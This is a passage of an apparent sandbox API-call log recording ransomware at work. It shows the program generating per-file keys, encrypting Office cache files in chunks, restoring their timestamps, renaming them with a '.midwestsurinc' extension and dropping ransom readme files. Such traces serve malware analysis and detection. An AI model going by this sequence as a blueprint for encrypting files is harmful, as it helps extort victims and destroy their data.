ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xed035930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x102fcbb)) returned 1 [0075.799] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0075.799] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a05648 [0075.799] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a056d0 [0075.799] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a05648) returned 1 [0075.799] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0075.800] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a056d0) returned 1 [0075.800] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0075.800] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), fInfoLevelId=0x0, lpFileInformation=0x174fb00 | out: lpFileInformation=0x174fb00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x393df700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x393df700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xed035930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x102fcbb)) returned 1 [0075.800] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0075.800] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969188 [0075.800] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0075.800] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969290 [0075.800] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0075.800] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x393df700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x393df700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xed035930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x102fcbb)) returned 1 [0075.800] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0075.801] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0075.801] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0075.801] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0075.801] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0075.801] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0075.801] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10451d8 [0075.801] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8*(dwLowDateTime=0xed035930, dwHighDateTime=0x1d301be)) returned 1 [0075.801] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0075.802] CryptGenKey (in: hProv=0x601ec8, Algid=0x6610, dwFlags=0x1000001, phKey=0x174fb20 | out: phKey=0x174fb20*=0x60d2e0) returned 1 [0075.803] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x184) returned 0x1045a28 [0075.803] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045340 [0075.803] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10452f8 [0075.804] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10452b0 [0075.804] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045268 [0075.804] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045388 [0075.804] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10453d0 [0075.804] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045418 [0075.804] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045460 [0075.804] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10454a8 [0075.804] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10454f0 [0075.804] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045538 [0075.804] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045580 [0075.804] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10455c8 [0075.804] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045610 [0075.804] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045658 [0075.804] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456a0 [0075.805] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x174fb1c | out: pbData=0x0*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0075.805] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x240) returned 0x107fd60 [0075.805] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0075.805] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x107fd60, pdwDataLen=0x174fb1c | out: pbData=0x107fd60*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0075.806] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0075.806] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0075.806] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0075.806] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x174fb28*=0) returned 0x0 [0075.807] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xa00000) returned 0x1f50020 [0075.807] ReadFile (in: hFile=0x2e8, lpBuffer=0x1f50020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1f50020*, lpNumberOfBytesRead=0x174fb28*=0xa00000, lpOverlapped=0x0) returned 1 [0076.121] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xa00000) returned 0x2960020 [0076.222] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1f50020) returned 1 [0076.264] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xa00000) returned 0x1f50020 [0076.265] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0076.354] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x2960020) returned 1 [0076.398] CryptEncrypt (in: hKey=0x60d2e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1f50020*, pdwDataLen=0x174fb24*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x1f50020*, pdwDataLen=0x174fb24*=0xa00000) returned 1 [0076.480] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0076.480] WriteFile (in: hFile=0x2e8, lpBuffer=0x1f50020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1f50020*, lpNumberOfBytesWritten=0x174fb28*=0xa00000, lpOverlapped=0x0) returned 1 [0076.597] FlushFileBuffers (hFile=0x2e8) returned 1 [0076.624] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x174fb28*=0) returned 0xa00000 [0076.624] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x62fcc0) returned 0x2960020 [0076.625] ReadFile (in: hFile=0x2e8, lpBuffer=0x2960020, nNumberOfBytesToRead=0x62fcbb, lpNumberOfBytesRead=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x2960020*, lpNumberOfBytesRead=0x174fb28*=0x62fcbb, lpOverlapped=0x0) returned 1 [0076.759] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x62fcc0) returned 0x2f90020 [0076.824] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x2960020) returned 1 [0076.851] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x2f90020) returned 1 [0076.878] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x6300c0) returned 0x2960020 [0076.936] CryptEncrypt (in: hKey=0x60d2e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2960020*, pdwDataLen=0x174fb24*=0x62fcbb, dwBufLen=0x6300bb | out: pbData=0x2960020*, pdwDataLen=0x174fb24*=0x62fcc0) returned 1 [0076.987] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x2960020) returned 1 [0077.014] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=10485760, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0xa00000 [0077.014] WriteFile (in: hFile=0x2e8, lpBuffer=0x1f50020*, nNumberOfBytesToWrite=0x62fcbb, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1f50020*, lpNumberOfBytesWritten=0x174fb28*=0x62fcbb, lpOverlapped=0x0) returned 1 [0077.090] FlushFileBuffers (hFile=0x2e8) returned 1 [0077.109] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0077.109] NtClose (Handle=0x2e8) returned 0x0 [0077.455] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.midwestsurinc" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.midwestsurinc")) returned 1 [0077.458] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.midwestsurinc", dwFileAttributes=0x2020) returned 1 [0077.458] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.midwestsurinc_readme", dwFileAttributes=0x80) returned 0 [0077.458] GetLastError () returned 0x2 [0077.458] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.midwestsurinc_readme"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0xf85f50, ftLastWriteTime.dwHighDateTime=0x18fe40, nFileSizeHigh=0x0, nFileSizeLow=0x174fb60)) returned 0 [0077.458] GetLastError () returned 0x2 [0077.458] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.midwestsurinc_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0077.459] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0077.459] WriteFile (in: hFile=0x2e8, lpBuffer=0xf7fe10*, nNumberOfBytesToWrite=0x168, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0xf7fe10*, lpNumberOfBytesWritten=0x174fb28*=0x168, lpOverlapped=0x0) returned 1 [0077.459] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0077.460] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xb) returned 0xf7d630 [0077.460] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c*(dwLowDateTime=0x4d88a2b0, dwHighDateTime=0x1d5dff7)) returned 1 [0077.460] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0077.460] NtClose (Handle=0x2e8) returned 0x0 [0077.461] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.midwestsurinc_readme", dwFileAttributes=0x2020) returned 1 [0077.461] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1030560) returned 1 [0077.461] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10456e8) returned 1 [0077.461] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1f50020) returned 1 [0077.513] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0077.514] CryptDestroyKey (hKey=0x60d2e0) returned 1 [0077.514] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10451d8) returned 1 [0077.514] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969188) returned 1 [0077.514] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969290) returned 1 [0077.514] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0077.514] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), fInfoLevelId=0x0, lpFileInformation=0x174fb04 | out: lpFileInformation=0x174fb04*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xece1ee80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263e00)) returned 1 [0077.514] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0077.514] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a056d0 [0077.514] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a05648 [0077.514] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a056d0) returned 1 [0077.515] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0077.515] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a05648) returned 1 [0077.515] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0077.515] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), fInfoLevelId=0x0, lpFileInformation=0x174fb00 | out: lpFileInformation=0x174fb00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xece1ee80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263e00)) returned 1 [0077.515] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0077.515] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969290 [0077.515] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0077.515] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969188 [0077.515] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0077.515] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xece1ee80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263e00)) returned 1 [0077.515] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0077.516] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0077.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0077.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0077.516] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0077.516] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0077.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10451d8 [0077.516] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8*(dwLowDateTime=0xece1ee80, dwHighDateTime=0x1d301be)) returned 1 [0077.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0077.516] CryptGenKey (in: hProv=0x601ec8, Algid=0x6610, dwFlags=0x1000001, phKey=0x174fb20 | out: phKey=0x174fb20*=0x60d2e0) returned 1 [0077.516] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x174fb1c | out: pbData=0x0*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0077.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x240) returned 0x107fd60 [0077.517] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10456e8) returned 1 [0077.517] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x107fd60, pdwDataLen=0x174fb1c | out: pbData=0x107fd60*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0077.517] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0077.517] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0077.517] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0077.517] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x174fb28*=0) returned 0x0 [0077.517] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x263e00) returned 0x1f50020 [0077.518] ReadFile (in: hFile=0x2e8, lpBuffer=0x1f50020, nNumberOfBytesToRead=0x263e00, lpNumberOfBytesRead=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1f50020*, lpNumberOfBytesRead=0x174fb28*=0x263e00, lpOverlapped=0x0) returned 1 [0077.603] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x263e00) returned 0x21c0020 [0077.650] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1f50020) returned 1 [0077.661] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x263e00) returned 0x1f50020 [0077.661] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10456e8) returned 1 [0077.685] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x21c0020) returned 1 [0077.695] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x264200) returned 0x21c0020 [0077.725] CryptEncrypt (in: hKey=0x60d2e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x21c0020*, pdwDataLen=0x174fb24*=0x263e00, dwBufLen=0x264200 | out: pbData=0x21c0020*, pdwDataLen=0x174fb24*=0x263e10) returned 1 [0077.743] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x263e40) returned 0x2430020 [0077.765] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1f50020) returned 1 [0077.775] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x21c0020) returned 1 [0077.786] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0077.786] WriteFile (in: hFile=0x2e8, lpBuffer=0x2430020*, nNumberOfBytesToWrite=0x263e00, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x2430020*, lpNumberOfBytesWritten=0x174fb28*=0x263e00, lpOverlapped=0x0) returned 1 [0077.810] FlushFileBuffers (hFile=0x2e8) returned 1 [0077.827] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0077.827] NtClose (Handle=0x2e8) returned 0x0 [0077.868] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.midwestsurinc" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.midwestsurinc")) returned 1 [0077.869] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.midwestsurinc", dwFileAttributes=0x2020) returned 1 [0077.869] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.midwestsurinc_readme", dwFileAttributes=0x80) returned 0 [0077.869] GetLastError () returned 0x2 [0077.869] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.midwestsurinc_readme"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0xf85f70, ftLastWriteTime.dwHighDateTime=0x18fe40, nFileSizeHigh=0x0, nFileSizeLow=0x174fb60)) returned 0 [0077.869] GetLastError () returned 0x2 [0077.869] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.midwestsurinc_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0077.869] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0077.869] WriteFile (in: hFile=0x2e8, lpBuffer=0xf7fe10*, nNumberOfBytesToWrite=0x168, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0xf7fe10*, lpNumberOfBytesWritten=0x174fb28*=0x168, lpOverlapped=0x0) returned 1 [0077.870] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0077.870] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x1b) returned 0x184c620 [0077.871] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c*(dwLowDateTime=0x4dc68670, 